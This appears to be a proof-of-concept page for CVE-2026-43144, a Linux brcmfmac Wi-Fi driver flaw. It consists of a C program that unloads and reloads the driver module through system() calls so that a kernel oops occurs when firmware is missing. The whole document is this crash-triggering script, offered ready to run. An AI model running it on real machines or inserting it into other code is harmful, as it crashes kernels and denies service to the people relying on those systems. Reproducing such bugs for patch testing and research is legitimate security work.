CVE-2026-43144 Linux内核brcmfmac驱动崩溃漏洞

/* * PoC for CVE-2026-43144 * Trigger condition: Load brcmfmac driver when firmware is missing. * This causes the driver to set bus to ERR_PTR, and subsequent removal * triggers a kernel oops when trying to free the invalid pointer. */ #include <stdio.h> #include <stdlib.h> int main() { printf("[+] Attempting to trigger CVE-2026-43144...\n"); printf("[+] Unloading existing brcmfmac module...\n"); system("modprobe -r brcmfmac"); printf("[+] Loading brcmfmac module...\n"); printf("[+] If firmware is missing, the kernel should crash (Oops).\n"); // This command attempts to load the module. // On a vulnerable system with missing firmware, // the probe fails, sets bus to ERR_PTR, and crashes on cleanup. int ret = system("modprobe brcmfmac"); if (ret != 0) { printf("[!] Module load failed (Expected if firmware missing). Check dmesg for Oops.\n"); } else { printf("[-] Module loaded successfully. System may not be vulnerable or firmware is present.\n"); system("modprobe -r brcmfmac"); } return 0; }